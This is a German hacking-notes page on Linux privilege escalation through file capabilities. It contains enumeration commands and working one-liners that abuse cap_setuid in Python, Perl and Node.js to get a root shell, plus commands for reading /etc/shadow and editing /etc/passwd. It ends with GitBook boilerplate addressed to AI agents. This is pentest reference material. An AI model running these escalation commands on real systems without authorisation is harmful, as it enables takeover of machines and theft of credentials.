> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/capabilities.md).

# Capabilities

Linux-Capabilities teilen Root-Rechte in granulare Berechtigungen auf, die Binärdateien zugewiesen werden können. Gefährliche Capabilities wie `cap_setuid+ep`, `cap_dac_read_search+ep`, oder Dateischreib-Capabilities können normale Benutzerbeschränkungen umgehen.

## Methodik

* Datei-Capabilities auflisten und Binärdateien mit gefährlichen Privileg-Bits identifizieren.
* GTFOBins und sprachspezifische Payloads für Shell-, Lese-, Schreib- oder Setuid-Missbrauch prüfen.
* Vor dem Versuch einer Root-Shell möglichst nur minimale Validierungsbefehle verwenden.

## Schnellprüfungen

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## Beispiele gefährlicher Capabilities

| Capability               | Warum es wichtig ist                                                            |
| ------------------------ | ------------------------------------------------------------------------------- |
| `cap_setuid+ep`          | Kann es einer Binärdatei erlauben, auf UID 0 umzuschalten.                      |
| `cap_dac_read_search+ep` | Kann Lesezugriffe auf Dateien und Suchberechtigungen für Verzeichnisse umgehen. |
| `cap_dac_override+ep`    | Kann normale Prüfungen der Dateiberechtigungen umgehen.                         |
| `cap_sys_admin+ep`       | Sehr weitreichende Capability, oft nahezu gleichwertig mit Root.                |
| `cap_setgid+ep`          | Kann es einer Binärdatei erlauben, auf privilegierte Gruppen umzuschalten.      |

Wenn Python `cap_setuid`, lautet eine minimale Validierung:

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## Beispiele für Laufzeitumgebungen

Python:

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl:

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js:

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID-Beispiel:

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

Beispiele für Lese-/Schreib-Capabilities:

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

Weitere interpretierte Laufzeitumgebungen, die bei vorhandenen Capabilities mit GTFOBins geprüft werden sollten:

```
ruby
php
lua
```

Prozess und verfügbare Capabilities anzeigen:

```bash
capsh --print
capsh --print | grep cap_
```

Das Setzen von Capabilities erfordert Root, ist aber nützlich für die Reproduktion im Labor:

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim-Capabilities</h4></td><td>Hinweise zu Capabilities (Vim) für Linux-Privilegieneskalation, mit Enumerationsschritten, Exploit-Beispielen und auf Berichte ausgerichteter Validierung.</td><td><a href="/pages/1c3b0e31ff56a026414b7593757bb8cfbabb7acb">/pages/1c3b0e31ff56a026414b7593757bb8cfbabb7acb</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python-Capabilities</h4></td><td>Missbrauch von Python-Capabilities zur Linux-Privilegieneskalation durch cap_setuid und GTFOBins-Payloads.</td><td><a href="/pages/3d9d0f9ad1a00c0a88a155aca8e5d2727b808802">/pages/3d9d0f9ad1a00c0a88a155aca8e5d2727b808802</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar-Capabilities</h4></td><td>Hinweise zu Capabilities (tarS binary) für Linux-Privilegieneskalation, mit Enumerationsschritten, Exploit-Beispielen und auf Berichte ausgerichteter Validierung.</td><td><a href="/pages/d5f5694651afcfd88343ee8e33c0ce2e2eb75d8e">/pages/d5f5694651afcfd88343ee8e33c0ce2e2eb75d8e</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl-Capabilities</h4></td><td>Hinweise zu Capabilities (Perl) für Linux-Privilegieneskalation, mit Enumerationsschritten, Exploit-Beispielen und auf Berichte ausgerichteter Validierung.</td><td><a href="/pages/d5a17b24165c5de346f31f2abb23c5e3e673028b">/pages/d5a17b24165c5de346f31f2abb23c5e3e673028b</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac-Capabilities</h4></td><td>Hinweise zu Capabilities (tac) für Linux-Privilegieneskalation, mit Enumerationsschritten, Exploit-Beispielen und auf Berichte ausgerichteter Validierung.</td><td><a href="/pages/f1bfcd32b12ca3c83d5019f98770e4606e31f80b">/pages/f1bfcd32b12ca3c83d5019f98770e4606e31f80b</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/capabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
